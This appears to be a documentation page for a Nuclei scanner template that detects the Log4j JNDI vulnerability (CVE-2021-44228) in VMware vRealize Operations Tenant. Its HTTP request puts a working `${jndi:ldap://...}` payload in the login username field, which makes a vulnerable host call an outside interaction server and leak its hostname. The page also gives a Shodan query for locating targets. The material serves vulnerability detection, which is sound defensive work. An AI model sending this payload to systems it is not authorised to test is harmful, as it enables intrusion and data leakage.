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VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)

ID: vrealize-operations-log4j-rce

Severity: critical

Author: bughuntersurya

Tags: cve,cve2021,oast,rce,log4j,vmware,vrealize,kev

VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.

id: vrealize-operations-log4j-rce
info:
name: VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)
author: bughuntersurya
severity: critical
description: |
VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
reference:
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
- https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://nvd.nist.gov/vuln/detail/CVE-2021-45046
- https://logging.apache.org/log4j/2.x/security.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:vmware:vrealize_operations:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
shodan-query: http.title:"vRealize Operations Tenant App"
product: vrealize_operations
vendor: vmware
tags: cve,cve2021,oast,rce,log4j,vmware,vrealize,kev
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
- raw:
- |
POST /suite-api/api/auth/token/acquire HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Origin: {{RootURL}}
Referer: {{RootURL}}/ui/
{"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100ee0832a980b0fd15cd30ef62e036059a225458ea86c6746da3d146835f2a4f410221008eaf97ea24722963647cd8b465e7b664035db5ab08258ec44522492a5d614797:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vrealize-operations-log4j-rce.yaml"

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